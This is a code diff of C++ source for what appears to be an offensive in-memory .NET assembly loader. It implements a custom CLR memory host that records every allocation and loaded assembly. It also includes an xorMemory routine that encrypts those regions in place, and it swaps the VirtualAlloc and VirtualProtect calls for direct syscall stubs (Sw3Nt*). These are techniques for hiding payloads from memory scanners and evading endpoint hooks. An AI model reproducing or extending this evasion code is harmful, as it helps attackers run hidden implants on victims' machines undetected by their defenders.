int updateTargetAssembly(ICLRAssemblyIdentityManager* identityManager, const std::string& data)
|
||||
{
|
||||
m_assemblyManager->updateTargetAssembly(identityManager, data);
|
||||
return 0;
|
||||
}
|
||||
|
||||
LPWSTR getAssemblyInfo()
|
||||
{
|
||||
return m_assemblyManager->getAssemblyInfo();
|
||||
};
|
||||
|
||||
|
||||
const std::vector<MemAllocEntry*>& getVirtualAllocList()
|
||||
{
|
||||
return m_memoryManager->getVirtualAllocList();
|
||||
}
|
||||
|
||||
const std::vector<MemAllocEntry*>& getMallocList()
|
||||
{
|
||||
return m_memoryManager->getMallocList();
|
||||
}
|
||||
|
||||
int xorMemory(const std::string& xorKey)
|
||||
{
|
||||
std::vector<MemAllocEntry*> vitualAllocList = getVirtualAllocList();
|
||||
|
||||
for (auto it = vitualAllocList.begin(); it != vitualAllocList.end(); ++it)
|
||||
{
|
||||
MemAllocEntry* entry = *it;
|
||||
if (entry->Address && entry->type == MEM_ALLOC_MAPPED_FILE)
|
||||
{
|
||||
XOREncrypt2((char*)entry->Address, entry->size, xorKey);
|
||||
}
|
||||
}
|
||||
|
||||
MEMORY_BASIC_INFORMATION memInfo;
|
||||
DWORD oldProtect;
|
||||
std::vector<MemAllocEntry*> mallocList = getMallocList();
|
||||
for (auto it = mallocList.begin(); it != mallocList.end(); ++it)
|
||||
{
|
||||
MemAllocEntry* entry = *it;
|
||||
|
||||
if(entry->Address)
|
||||
{
|
||||
::VirtualQuery(entry->Address, &memInfo, sizeof(MEMORY_BASIC_INFORMATION));
|
||||
|
||||
if (memInfo.AllocationProtect != 0 && memInfo.State != 0x2000 && memInfo.State != 0x10000)
|
||||
{
|
||||
if (memInfo.Protect != PAGE_READWRITE)
|
||||
{
|
||||
::VirtualProtect(memInfo.BaseAddress, memInfo.RegionSize, PAGE_READWRITE, &oldProtect);
|
||||
XOREncrypt2((char*)memInfo.BaseAddress, memInfo.RegionSize, xorKey);
|
||||
::VirtualProtect(memInfo.BaseAddress, memInfo.RegionSize, oldProtect, &oldProtect);
|
||||
}
|
||||
else
|
||||
{
|
||||
XOREncrypt2((char*)memInfo.BaseAddress, memInfo.RegionSize, xorKey);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
protected:
|
||||
DWORD count;
|
||||
|
||||
private:
|
||||
MyAssemblyManager* m_assemblyManager;
|
||||
MyMemoryManager* m_memoryManager;
|
||||
|
||||
};
|
||||
|
||||
+100
-100
@@ -1,101 +1,101 @@
|
||||
#include "HostMalloc.hpp"
|
||||
#include "MemoryManager.hpp"
|
||||
|
||||
#include <iostream>
|
||||
|
||||
|
||||
MyHostMalloc::MyHostMalloc(void)
|
||||
{
|
||||
count = 0;
|
||||
}
|
||||
|
||||
|
||||
MyHostMalloc::~MyHostMalloc(void)
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
|
||||
HRESULT STDMETHODCALLTYPE MyHostMalloc::QueryInterface(REFIID vTableGuid, void** ppv)
|
||||
{
|
||||
if (!IsEqualIID(vTableGuid, IID_IUnknown) && !IsEqualIID(vTableGuid, IID_IHostMalloc))
|
||||
{
|
||||
*ppv = 0;
|
||||
return E_NOINTERFACE;
|
||||
}
|
||||
*ppv = this;
|
||||
this->AddRef();
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
|
||||
ULONG STDMETHODCALLTYPE MyHostMalloc::AddRef()
|
||||
{
|
||||
return(++((MyHostMalloc*)this)->count);
|
||||
}
|
||||
|
||||
|
||||
ULONG STDMETHODCALLTYPE MyHostMalloc::Release()
|
||||
{
|
||||
if (--this->count == 0)
|
||||
{
|
||||
GlobalFree(this);
|
||||
return 0;
|
||||
}
|
||||
return this->count;
|
||||
}
|
||||
|
||||
|
||||
HRESULT MyHostMalloc::Alloc(SIZE_T cbSize, EMemoryCriticalLevel eCriticalLevel, void** ppMem)
|
||||
{
|
||||
LPVOID allocAddress = ::HeapAlloc(this->hHeap, 0, cbSize);
|
||||
// std::cout << "MyHostMalloc::Alloc " << std::hex << allocAddress << std::endl;
|
||||
|
||||
MemAllocEntry* allocEntry = new MemAllocEntry();
|
||||
allocEntry->Address = allocAddress;
|
||||
allocEntry->size = cbSize;
|
||||
allocEntry->type = MEM_ALLOC_MALLOC;
|
||||
m_memAllocList.push_back(allocEntry);
|
||||
|
||||
*ppMem = allocAddress;
|
||||
if (*ppMem == NULL)
|
||||
{
|
||||
return E_OUTOFMEMORY;
|
||||
}
|
||||
else
|
||||
{
|
||||
return S_OK;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
HRESULT MyHostMalloc::DebugAlloc(SIZE_T cbSize, EMemoryCriticalLevel eCriticalLevel, char* pszFileName, int iLineNo, void** ppMem)
|
||||
{
|
||||
// std::cout << "MyHostMalloc::DebugAlloc" << std::endl;
|
||||
|
||||
*ppMem = ::HeapAlloc(this->hHeap, 0, cbSize);
|
||||
if (*ppMem == NULL)
|
||||
{
|
||||
return E_OUTOFMEMORY;
|
||||
}
|
||||
else
|
||||
{
|
||||
return S_OK;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
HRESULT MyHostMalloc::Free(void* pMem)
|
||||
{
|
||||
// std::cout << "MyHostMalloc::Free" << std::endl;
|
||||
|
||||
if (!::HeapValidate(this->hHeap, 0, pMem))
|
||||
{
|
||||
// std::cout << "Detected corrupted heap" << std::endl;
|
||||
return E_OUTOFMEMORY;
|
||||
}
|
||||
::HeapFree(this->hHeap, 0, pMem);
|
||||
pMem = nullptr;
|
||||
|
||||
return S_OK;
|
||||
#include "HostMalloc.hpp"
|
||||
#include "MemoryManager.hpp"
|
||||
|
||||
#include <iostream>
|
||||
|
||||
|
||||
MyHostMalloc::MyHostMalloc(void)
|
||||
{
|
||||
count = 0;
|
||||
}
|
||||
|
||||
|
||||
MyHostMalloc::~MyHostMalloc(void)
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
|
||||
HRESULT STDMETHODCALLTYPE MyHostMalloc::QueryInterface(REFIID vTableGuid, void** ppv)
|
||||
{
|
||||
if (!IsEqualIID(vTableGuid, IID_IUnknown) && !IsEqualIID(vTableGuid, IID_IHostMalloc))
|
||||
{
|
||||
*ppv = 0;
|
||||
return E_NOINTERFACE;
|
||||
}
|
||||
*ppv = this;
|
||||
this->AddRef();
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
|
||||
ULONG STDMETHODCALLTYPE MyHostMalloc::AddRef()
|
||||
{
|
||||
return(++((MyHostMalloc*)this)->count);
|
||||
}
|
||||
|
||||
|
||||
ULONG STDMETHODCALLTYPE MyHostMalloc::Release()
|
||||
{
|
||||
if (--this->count == 0)
|
||||
{
|
||||
GlobalFree(this);
|
||||
return 0;
|
||||
}
|
||||
return this->count;
|
||||
}
|
||||
|
||||
|
||||
HRESULT MyHostMalloc::Alloc(SIZE_T cbSize, EMemoryCriticalLevel eCriticalLevel, void** ppMem)
|
||||
{
|
||||
LPVOID allocAddress = ::HeapAlloc(this->hHeap, 0, cbSize);
|
||||
// std::cout << "MyHostMalloc::Alloc " << std::hex << allocAddress << std::endl;
|
||||
|
||||
MemAllocEntry* allocEntry = new MemAllocEntry();
|
||||
allocEntry->Address = allocAddress;
|
||||
allocEntry->size = cbSize;
|
||||
allocEntry->type = MEM_ALLOC_MALLOC;
|
||||
m_memAllocList.push_back(allocEntry);
|
||||
|
||||
*ppMem = allocAddress;
|
||||
if (*ppMem == NULL)
|
||||
{
|
||||
return E_OUTOFMEMORY;
|
||||
}
|
||||
else
|
||||
{
|
||||
return S_OK;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
HRESULT MyHostMalloc::DebugAlloc(SIZE_T cbSize, EMemoryCriticalLevel eCriticalLevel, char* pszFileName, int iLineNo, void** ppMem)
|
||||
{
|
||||
// std::cout << "MyHostMalloc::DebugAlloc" << std::endl;
|
||||
|
||||
*ppMem = ::HeapAlloc(this->hHeap, 0, cbSize);
|
||||
if (*ppMem == NULL)
|
||||
{
|
||||
return E_OUTOFMEMORY;
|
||||
}
|
||||
else
|
||||
{
|
||||
return S_OK;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
HRESULT MyHostMalloc::Free(void* pMem)
|
||||
{
|
||||
// std::cout << "MyHostMalloc::Free" << std::endl;
|
||||
|
||||
if (!::HeapValidate(this->hHeap, 0, pMem))
|
||||
{
|
||||
// std::cout << "Detected corrupted heap" << std::endl;
|
||||
return E_OUTOFMEMORY;
|
||||
}
|
||||
::HeapFree(this->hHeap, 0, pMem);
|
||||
pMem = nullptr;
|
||||
|
||||
return S_OK;
|
||||
}
|
||||
+52
-52
@@ -1,53 +1,53 @@
|
||||
#pragma once
|
||||
#include <Windows.h>
|
||||
#include <mscoree.h>
|
||||
#include <metahost.h>
|
||||
|
||||
#include <vector>
|
||||
|
||||
|
||||
typedef enum
|
||||
{
|
||||
MEM_ALLOC_LIST_HEAD,
|
||||
MEM_ALLOC_MALLOC,
|
||||
MEM_ALLOC_VIRTUALALLOC,
|
||||
MEM_ALLOC_MAPPED_FILE
|
||||
} memAllocTracker;
|
||||
|
||||
|
||||
typedef struct _MemAllocEntry
|
||||
{
|
||||
SLIST_ENTRY allocEntry;
|
||||
void* Address;
|
||||
SIZE_T size;
|
||||
memAllocTracker type;
|
||||
} MemAllocEntry;
|
||||
|
||||
|
||||
class MyHostMalloc : public IHostMalloc
|
||||
{
|
||||
public:
|
||||
MyHostMalloc(void);
|
||||
~MyHostMalloc(void);
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid,void **ppv);
|
||||
virtual ULONG STDMETHODCALLTYPE AddRef(void);
|
||||
virtual ULONG STDMETHODCALLTYPE Release(void);
|
||||
|
||||
virtual HRESULT Alloc(SIZE_T cbSize, EMemoryCriticalLevel eCriticalLevel, void** ppMem);
|
||||
virtual HRESULT DebugAlloc(SIZE_T cbSize, EMemoryCriticalLevel eCriticalLevel, char* pszFileName, int iLineNo, void** ppMem);
|
||||
virtual HRESULT Free(void* pMem);
|
||||
|
||||
HANDLE hHeap;
|
||||
|
||||
const std::vector<MemAllocEntry*>& getMemAllocList()
|
||||
{
|
||||
return m_memAllocList;
|
||||
}
|
||||
|
||||
protected:
|
||||
DWORD count;
|
||||
|
||||
private:
|
||||
std::vector<MemAllocEntry*> m_memAllocList;
|
||||
#pragma once
|
||||
#include <Windows.h>
|
||||
#include <mscoree.h>
|
||||
#include <metahost.h>
|
||||
|
||||
#include <vector>
|
||||
|
||||
|
||||
typedef enum
|
||||
{
|
||||
MEM_ALLOC_LIST_HEAD,
|
||||
MEM_ALLOC_MALLOC,
|
||||
MEM_ALLOC_VIRTUALALLOC,
|
||||
MEM_ALLOC_MAPPED_FILE
|
||||
} memAllocTracker;
|
||||
|
||||
|
||||
typedef struct _MemAllocEntry
|
||||
{
|
||||
SLIST_ENTRY allocEntry;
|
||||
void* Address;
|
||||
SIZE_T size;
|
||||
memAllocTracker type;
|
||||
} MemAllocEntry;
|
||||
|
||||
|
||||
class MyHostMalloc : public IHostMalloc
|
||||
{
|
||||
public:
|
||||
MyHostMalloc(void);
|
||||
~MyHostMalloc(void);
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid,void **ppv);
|
||||
virtual ULONG STDMETHODCALLTYPE AddRef(void);
|
||||
virtual ULONG STDMETHODCALLTYPE Release(void);
|
||||
|
||||
virtual HRESULT Alloc(SIZE_T cbSize, EMemoryCriticalLevel eCriticalLevel, void** ppMem);
|
||||
virtual HRESULT DebugAlloc(SIZE_T cbSize, EMemoryCriticalLevel eCriticalLevel, char* pszFileName, int iLineNo, void** ppMem);
|
||||
virtual HRESULT Free(void* pMem);
|
||||
|
||||
HANDLE hHeap;
|
||||
|
||||
const std::vector<MemAllocEntry*>& getMemAllocList()
|
||||
{
|
||||
return m_memAllocList;
|
||||
}
|
||||
|
||||
protected:
|
||||
DWORD count;
|
||||
|
||||
private:
|
||||
std::vector<MemAllocEntry*> m_memAllocList;
|
||||
};
|
||||
+177
-177
@@ -1,178 +1,178 @@
|
||||
#include "MemoryManager.hpp"
|
||||
#include "HostMalloc.hpp"
|
||||
|
||||
#include <iostream>
|
||||
|
||||
|
||||
MyMemoryManager::MyMemoryManager(void)
|
||||
{
|
||||
count = 0;
|
||||
m_mallocManager = new MyHostMalloc();
|
||||
}
|
||||
|
||||
|
||||
MyMemoryManager::~MyMemoryManager(void)
|
||||
{
|
||||
delete m_mallocManager;
|
||||
}
|
||||
|
||||
|
||||
HRESULT STDMETHODCALLTYPE MyMemoryManager::QueryInterface(REFIID vTableGuid, void** ppv)
|
||||
{
|
||||
if (!IsEqualIID(vTableGuid, IID_IUnknown) && !IsEqualIID(vTableGuid, IID_IHostMemoryManager))
|
||||
{
|
||||
*ppv = 0;
|
||||
return E_NOINTERFACE;
|
||||
}
|
||||
*ppv = this;
|
||||
this->AddRef();
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
|
||||
ULONG STDMETHODCALLTYPE MyMemoryManager::AddRef()
|
||||
{
|
||||
return(++((MyMemoryManager*)this)->count);
|
||||
}
|
||||
|
||||
|
||||
ULONG STDMETHODCALLTYPE MyMemoryManager::Release()
|
||||
{
|
||||
if (--((MyMemoryManager*)this)->count == 0)
|
||||
{
|
||||
GlobalFree(this);
|
||||
return 0;
|
||||
}
|
||||
return ((MyMemoryManager*)this)->count;
|
||||
}
|
||||
|
||||
|
||||
// This is called when the CLR wants to do heap allocations, it's responsible for returning our implementation of IHostMalloc
|
||||
HRESULT MyMemoryManager::CreateMalloc(DWORD dwMallocType, IHostMalloc** ppMalloc)
|
||||
{
|
||||
// std::cout << "MyMemoryManager::CreateMalloc" << std::endl;
|
||||
|
||||
//C reate a heap and add it to our interface struct
|
||||
HANDLE hHeap = NULL;
|
||||
if (dwMallocType & MALLOC_EXECUTABLE)
|
||||
{
|
||||
hHeap = ::HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
|
||||
}
|
||||
else
|
||||
{
|
||||
hHeap = ::HeapCreate(0, 0, 0);
|
||||
}
|
||||
m_mallocManager->hHeap = hHeap;
|
||||
|
||||
*ppMalloc = m_mallocManager;
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
|
||||
//The Virtual* API calls are responsible for non-heap memory management, you can just call the Virtual* APIs as intended or implement your own routines
|
||||
HRESULT MyMemoryManager::VirtualAlloc(void* pAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect, EMemoryCriticalLevel eCriticalLevel, void** ppMem)
|
||||
{
|
||||
LPVOID allocAddress=NULL;
|
||||
HANDLE hProcess = GetCurrentProcess();
|
||||
Sw3NtAllocateVirtualMemory_(hProcess, &pAddress, 0, &dwSize, flAllocationType, flProtect);
|
||||
allocAddress = pAddress;
|
||||
|
||||
// LPVOID allocAddress = ::VirtualAlloc(pAddress, dwSize, flAllocationType, flProtect);
|
||||
|
||||
// std::cout << "MyMemoryManager::VirtualAlloc " << std::hex << allocAddress << std::endl;
|
||||
|
||||
*ppMem = allocAddress;
|
||||
|
||||
MemAllocEntry* allocEntry = new MemAllocEntry();
|
||||
allocEntry->Address = allocAddress;
|
||||
allocEntry->size = dwSize;
|
||||
allocEntry->type = MEM_ALLOC_VIRTUALALLOC;
|
||||
m_memAllocList.push_back(allocEntry);
|
||||
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
|
||||
HRESULT MyMemoryManager::VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType)
|
||||
{
|
||||
// std::cout << "MyMemoryManager::VirtualFree" << std::endl;
|
||||
|
||||
::VirtualFree(lpAddress, dwSize, dwFreeType);
|
||||
lpAddress = nullptr;
|
||||
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
|
||||
HRESULT MyMemoryManager::VirtualQuery(void* lpAddress, void* lpBuffer, SIZE_T dwLength, SIZE_T* pResult)
|
||||
{
|
||||
// std::cout << "MyMemoryManager::VirtualQuery" << std::endl;
|
||||
|
||||
*pResult = ::VirtualQuery(lpAddress, (PMEMORY_BASIC_INFORMATION)lpBuffer, dwLength);
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
|
||||
HRESULT MyMemoryManager::VirtualProtect(void* lpAddress, SIZE_T dwSize, DWORD flNewProtect, DWORD* pflOldProtect)
|
||||
{
|
||||
// std::cout << "MyMemoryManager::VirtualProtect" << std::endl;
|
||||
|
||||
HANDLE hProcess = GetCurrentProcess();
|
||||
Sw3NtProtectVirtualMemory_(hProcess, &lpAddress, &dwSize, flNewProtect, pflOldProtect);
|
||||
|
||||
// ::VirtualProtect(lpAddress, dwSize, flNewProtect, pflOldProtect);
|
||||
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
|
||||
HRESULT MyMemoryManager::GetMemoryLoad(DWORD* pMemoryLoad, SIZE_T* pAvailableBytes)
|
||||
{
|
||||
// std::cout << "MyMemoryManager::GetMemoryLoad" << std::endl;
|
||||
|
||||
//Just returning arbitrary values
|
||||
*pMemoryLoad = 30;
|
||||
*pAvailableBytes = 100 * 1024 * 1024;
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
|
||||
HRESULT MyMemoryManager::RegisterMemoryNotificationCallback(ICLRMemoryNotificationCallback* pCallback)
|
||||
{
|
||||
// std::cout << "MyMemoryManager::RegisterMemoryNotificationCallback" << std::endl;
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
|
||||
HRESULT MyMemoryManager::NeedsVirtualAddressSpace(LPVOID startAddress, SIZE_T size)
|
||||
{
|
||||
// std::cout << "MyMemoryManager::NeedsVirtualAddressSpace" << std::endl;
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
|
||||
//
|
||||
// This is a notification callback that will be triggered whenever a .NET assembly is loaded into the process
|
||||
//
|
||||
HRESULT MyMemoryManager::AcquiredVirtualAddressSpace(LPVOID startAddress, SIZE_T size)
|
||||
{
|
||||
// std::cout << "MyMemoryManager::AcquiredVirtualAddressSpace" << std::endl;
|
||||
// std::cout << "Mapped file with size " << size << " bytes into memory at " << std::hex << startAddress << std::endl;
|
||||
|
||||
//This is used to track the assemblies that are mapped into the process
|
||||
MemAllocEntry* allocEntry = new MemAllocEntry();
|
||||
allocEntry->Address = startAddress;
|
||||
allocEntry->size = size;
|
||||
allocEntry->type = MEM_ALLOC_MAPPED_FILE;
|
||||
m_memAllocList.push_back(allocEntry);
|
||||
|
||||
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
|
||||
HRESULT MyMemoryManager::ReleasedVirtualAddressSpace(LPVOID startAddress)
|
||||
{
|
||||
// std::cout << "MyMemoryManager::ReleasedVirtualAddressSpace" << std::endl;
|
||||
return S_OK;
|
||||
#include "MemoryManager.hpp"
|
||||
#include "HostMalloc.hpp"
|
||||
|
||||
#include <iostream>
|
||||
|
||||
|
||||
MyMemoryManager::MyMemoryManager(void)
|
||||
{
|
||||
count = 0;
|
||||
m_mallocManager = new MyHostMalloc();
|
||||
}
|
||||
|
||||
|
||||
MyMemoryManager::~MyMemoryManager(void)
|
||||
{
|
||||
delete m_mallocManager;
|
||||
}
|
||||
|
||||
|
||||
HRESULT STDMETHODCALLTYPE MyMemoryManager::QueryInterface(REFIID vTableGuid, void** ppv)
|
||||
{
|
||||
if (!IsEqualIID(vTableGuid, IID_IUnknown) && !IsEqualIID(vTableGuid, IID_IHostMemoryManager))
|
||||
{
|
||||
*ppv = 0;
|
||||
return E_NOINTERFACE;
|
||||
}
|
||||
*ppv = this;
|
||||
this->AddRef();
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
|
||||
ULONG STDMETHODCALLTYPE MyMemoryManager::AddRef()
|
||||
{
|
||||
return(++((MyMemoryManager*)this)->count);
|
||||
}
|
||||
|
||||
|
||||
ULONG STDMETHODCALLTYPE MyMemoryManager::Release()
|
||||
{
|
||||
if (--((MyMemoryManager*)this)->count == 0)
|
||||
{
|
||||
GlobalFree(this);
|
||||
return 0;
|
||||
}
|
||||
return ((MyMemoryManager*)this)->count;
|
||||
}
|
||||
|
||||
|
||||
// This is called when the CLR wants to do heap allocations, it's responsible for returning our implementation of IHostMalloc
|
||||
HRESULT MyMemoryManager::CreateMalloc(DWORD dwMallocType, IHostMalloc** ppMalloc)
|
||||
{
|
||||
// std::cout << "MyMemoryManager::CreateMalloc" << std::endl;
|
||||
|
||||
//C reate a heap and add it to our interface struct
|
||||
HANDLE hHeap = NULL;
|
||||
if (dwMallocType & MALLOC_EXECUTABLE)
|
||||
{
|
||||
hHeap = ::HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
|
||||
}
|
||||
else
|
||||
{
|
||||
hHeap = ::HeapCreate(0, 0, 0);
|
||||
}
|
||||
m_mallocManager->hHeap = hHeap;
|
||||
|
||||
*ppMalloc = m_mallocManager;
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
|
||||
//The Virtual* API calls are responsible for non-heap memory management, you can just call the Virtual* APIs as intended or implement your own routines
|
||||
HRESULT MyMemoryManager::VirtualAlloc(void* pAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect, EMemoryCriticalLevel eCriticalLevel, void** ppMem)
|
||||
{
|
||||
LPVOID allocAddress=NULL;
|
||||
HANDLE hProcess = GetCurrentProcess();
|
||||
Sw3NtAllocateVirtualMemory_(hProcess, &pAddress, 0, &dwSize, flAllocationType, flProtect);
|
||||
allocAddress = pAddress;
|
||||
|
||||
// LPVOID allocAddress = ::VirtualAlloc(pAddress, dwSize, flAllocationType, flProtect);
|
||||
|
||||
// std::cout << "MyMemoryManager::VirtualAlloc " << std::hex << allocAddress << std::endl;
|
||||
|
||||
*ppMem = allocAddress;
|
||||
|
||||
MemAllocEntry* allocEntry = new MemAllocEntry();
|
||||
allocEntry->Address = allocAddress;
|
||||
allocEntry->size = dwSize;
|
||||
allocEntry->type = MEM_ALLOC_VIRTUALALLOC;
|
||||
m_memAllocList.push_back(allocEntry);
|
||||
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
|
||||
HRESULT MyMemoryManager::VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType)
|
||||
{
|
||||
// std::cout << "MyMemoryManager::VirtualFree" << std::endl;
|
||||
|
||||
::VirtualFree(lpAddress, dwSize, dwFreeType);
|
||||
lpAddress = nullptr;
|
||||
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
|
||||
HRESULT MyMemoryManager::VirtualQuery(void* lpAddress, void* lpBuffer, SIZE_T dwLength, SIZE_T* pResult)
|
||||
{
|
||||
// std::cout << "MyMemoryManager::VirtualQuery" << std::endl;
|
||||
|
||||
*pResult = ::VirtualQuery(lpAddress, (PMEMORY_BASIC_INFORMATION)lpBuffer, dwLength);
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
|
||||
HRESULT MyMemoryManager::VirtualProtect(void* lpAddress, SIZE_T dwSize, DWORD flNewProtect, DWORD* pflOldProtect)
|
||||
{
|
||||
// std::cout << "MyMemoryManager::VirtualProtect" << std::endl;
|
||||
|
||||
HANDLE hProcess = GetCurrentProcess();
|
||||
Sw3NtProtectVirtualMemory_(hProcess, &lpAddress, &dwSize, flNewProtect, pflOldProtect);
|
||||
|
||||
// ::VirtualProtect(lpAddress, dwSize, flNewProtect, pflOldProtect);
|
||||
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
|
||||
HRESULT MyMemoryManager::GetMemoryLoad(DWORD* pMemoryLoad, SIZE_T* pAvailableBytes)
|
||||
{
|
||||
// std::cout << "MyMemoryManager::GetMemoryLoad" << std::endl;
|
||||
|
||||
//Just returning arbitrary values
|
||||
*pMemoryLoad = 30;
|
||||
*pAvailableBytes = 100 * 1024 * 1024;
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
|
||||
HRESULT MyMemoryManager::RegisterMemoryNotificationCallback(ICLRMemoryNotificationCallback* pCallback)
|
||||
{
|
||||
// std::cout << "MyMemoryManager::RegisterMemoryNotificationCallback" << std::endl;
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
|
||||
HRESULT MyMemoryManager::NeedsVirtualAddressSpace(LPVOID startAddress, SIZE_T size)
|
||||
{
|
||||
// std::cout << "MyMemoryManager::NeedsVirtualAddressSpace" << std::endl;
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
|
||||
//
|
||||
// This is a notification callback that will be triggered whenever a .NET assembly is loaded into the process
|
||||
//
|
||||
HRESULT MyMemoryManager::AcquiredVirtualAddressSpace(LPVOID startAddress, SIZE_T size)
|
||||
{
|
||||
// std::cout << "MyMemoryManager::AcquiredVirtualAddressSpace" << std::endl;
|
||||
// std::cout << "Mapped file with size " << size << " bytes into memory at " << std::hex << startAddress << std::endl;
|
||||
|
||||
//This is used to track the assemblies that are mapped into the process
|
||||
MemAllocEntry* allocEntry = new MemAllocEntry();
|
||||
allocEntry->Address = startAddress;
|
||||
allocEntry->size = size;
|
||||
allocEntry->type = MEM_ALLOC_MAPPED_FILE;
|
||||
m_memAllocList.push_back(allocEntry);
|
||||
|
||||
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
|
||||
HRESULT MyMemoryManager::ReleasedVirtualAddressSpace(LPVOID startAddress)
|
||||
{
|
||||
// std::cout << "MyMemoryManager::ReleasedVirtualAddressSpace" << std::endl;
|
||||
return S_OK;
|
||||
}
|
||||
@@ -1,49 +1,49 @@
|
||||
#pragma once
|
||||
#include "HostMalloc.hpp"
|
||||
|
||||
#include <string>
|
||||
|
||||
#include <syscall.hpp>
|
||||
|
||||
|
||||
class MyMemoryManager : public IHostMemoryManager
|
||||
{
|
||||
public:
|
||||
MyMemoryManager(void);
|
||||
~MyMemoryManager(void);
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid,void **ppv);
|
||||
virtual ULONG STDMETHODCALLTYPE AddRef(void);
|
||||
virtual ULONG STDMETHODCALLTYPE Release(void);
|
||||
|
||||
virtual HRESULT CreateMalloc(DWORD dwMallocType, IHostMalloc** ppMalloc);
|
||||
virtual HRESULT VirtualAlloc(void* pAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect, EMemoryCriticalLevel eCriticalLevel, void** ppMem);
|
||||
virtual HRESULT VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType);
|
||||
virtual HRESULT VirtualQuery(void* lpAddress, void* lpBuffer, SIZE_T dwLength, SIZE_T* pResult);
|
||||
virtual HRESULT VirtualProtect(void* lpAddress, SIZE_T dwSize, DWORD flNewProtect, DWORD* pflOldProtect);
|
||||
virtual HRESULT GetMemoryLoad(DWORD* pMemoryLoad, SIZE_T* pAvailableBytes);
|
||||
virtual HRESULT RegisterMemoryNotificationCallback(ICLRMemoryNotificationCallback* pCallback);
|
||||
virtual HRESULT NeedsVirtualAddressSpace(LPVOID startAddress, SIZE_T size);
|
||||
virtual HRESULT AcquiredVirtualAddressSpace(LPVOID startAddress, SIZE_T size);
|
||||
virtual HRESULT ReleasedVirtualAddressSpace(LPVOID startAddress);
|
||||
|
||||
const std::vector<MemAllocEntry*>& getVirtualAllocList()
|
||||
{
|
||||
return m_memAllocList;
|
||||
}
|
||||
|
||||
const std::vector<MemAllocEntry*>& getMallocList()
|
||||
{
|
||||
return m_mallocManager->getMemAllocList();
|
||||
}
|
||||
|
||||
|
||||
protected:
|
||||
DWORD count;
|
||||
|
||||
private:
|
||||
MyHostMalloc* m_mallocManager;
|
||||
|
||||
std::vector<MemAllocEntry*> m_memAllocList;
|
||||
|
||||
#pragma once
|
||||
#include "HostMalloc.hpp"
|
||||
|
||||
#include <string>
|
||||
|
||||
#include <syscall.hpp>
|
||||
|
||||
|
||||
class MyMemoryManager : public IHostMemoryManager
|
||||
{
|
||||
public:
|
||||
MyMemoryManager(void);
|
||||
~MyMemoryManager(void);
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid,void **ppv);
|
||||
virtual ULONG STDMETHODCALLTYPE AddRef(void);
|
||||
virtual ULONG STDMETHODCALLTYPE Release(void);
|
||||
|
||||
virtual HRESULT CreateMalloc(DWORD dwMallocType, IHostMalloc** ppMalloc);
|
||||
virtual HRESULT VirtualAlloc(void* pAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect, EMemoryCriticalLevel eCriticalLevel, void** ppMem);
|
||||
virtual HRESULT VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType);
|
||||
virtual HRESULT VirtualQuery(void* lpAddress, void* lpBuffer, SIZE_T dwLength, SIZE_T* pResult);
|
||||
virtual HRESULT VirtualProtect(void* lpAddress, SIZE_T dwSize, DWORD flNewProtect, DWORD* pflOldProtect);
|
||||
virtual HRESULT GetMemoryLoad(DWORD* pMemoryLoad, SIZE_T* pAvailableBytes);
|
||||
virtual HRESULT RegisterMemoryNotificationCallback(ICLRMemoryNotificationCallback* pCallback);
|
||||
virtual HRESULT NeedsVirtualAddressSpace(LPVOID startAddress, SIZE_T size);
|
||||
virtual HRESULT AcquiredVirtualAddressSpace(LPVOID startAddress, SIZE_T size);
|
||||
virtual HRESULT ReleasedVirtualAddressSpace(LPVOID startAddress);
|
||||
|
||||
const std::vector<MemAllocEntry*>& getVirtualAllocList()
|
||||
{
|
||||
return m_memAllocList;
|
||||
}
|
||||
|
||||
const std::vector<MemAllocEntry*>& getMallocList()
|
||||
{
|
||||
return m_mallocManager->getMemAllocList();
|
||||
}
|
||||
|
||||
|
||||
protected:
|
||||
DWORD count;
|
||||
|
||||
private:
|
||||
MyHostMalloc* m_mallocManager;
|
||||
|
||||
std::vector<MemAllocEntry*> m_memAllocList;
|
||||
|
||||
};
|
||||
+623
-623
File diff suppressed because it is too large
Load Diff
+40
-40
@@ -15,8 +15,8 @@
|
||||
